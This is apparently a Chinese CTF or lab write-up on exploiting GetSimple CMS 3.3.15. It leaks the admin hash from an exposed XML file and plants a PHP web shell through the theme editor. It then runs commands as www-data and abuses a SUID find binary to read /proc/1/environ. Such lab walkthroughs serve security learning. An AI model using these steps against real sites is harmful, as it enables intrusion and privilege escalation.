前言
近期更新的漏洞复现环境中,题目GetSimple 3.3.15部分用户跟我说了拿不到FLAG的问题,但是其实离FLAG已经非常近了。
GetSimple
GetSimple 是一款轻量级的内容管理系统(CMS),专为需要简易管理静态网站的用户设计。与其他传统的 CMS 不同,GetSimple 不依赖数据库,它使用文件系统来存储内容,使得部署和维护更加简便,但同时,也有信息泄露的风险。
获取管理员账号密码
访问:/data/users/admin.xml,可获得用户名、Hash后的密码、邮箱等信息。
题目仅给出了后台地址,所以需要我们拿hash去解密一下admin的密码
当然,这个版本也存在一个绕过登录的漏洞的,但是我们解密admin的密码其实是比绕过登录更快的。
得到密码123456
登录后的命令执行
先登录一下后台
点击Theme之后,点击Edit Theme
在Theme的编辑器中,增加一个命令执行的代码
<?php system($_POST['exec']); exit();
尝试输出了一下env,但是并没有flag,不过成功执行了命令
exec=env
flag也许会在/flag,但是也读取了一下根目录也没有相应的文件
Linux 系统中,Shell 启动时会读取一系列配置文件来设置环境变量。不同用户(包括 root)通常拥有各自的配置文件,所以环境变量也会不同。
尝试读取一下/proc/1/environ
exec=cat /proc/1/environ
这个文件是 Linux 系统中一个特殊的虚拟文件,它包含了 PID 为 1 的进程(即 init 进程)启动时的环境变量。
但是很遗憾,没有读出来,应该是权限不够
检查了一下,当前是www-data
exec=whoami
权限提升
怎么提权呢?
exec=find / -perm -u=s -type f 2>/dev/null
看看有哪些是能够提权的吧(查找系统中具有 SUID(Set User ID)权限的可执行文件)
这里可以看到,是有前段时间大家闹得沸沸扬扬的find,find确实可以作为提权的工具。
exec=find 'which find' -exec whoami ;
其实效果类似于
但是因为终端没有改变,所以只能在行内使用
使用下面这条命令,就可以读取flag了
exec=find `which find` -exec cat /proc/1/environ ;
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...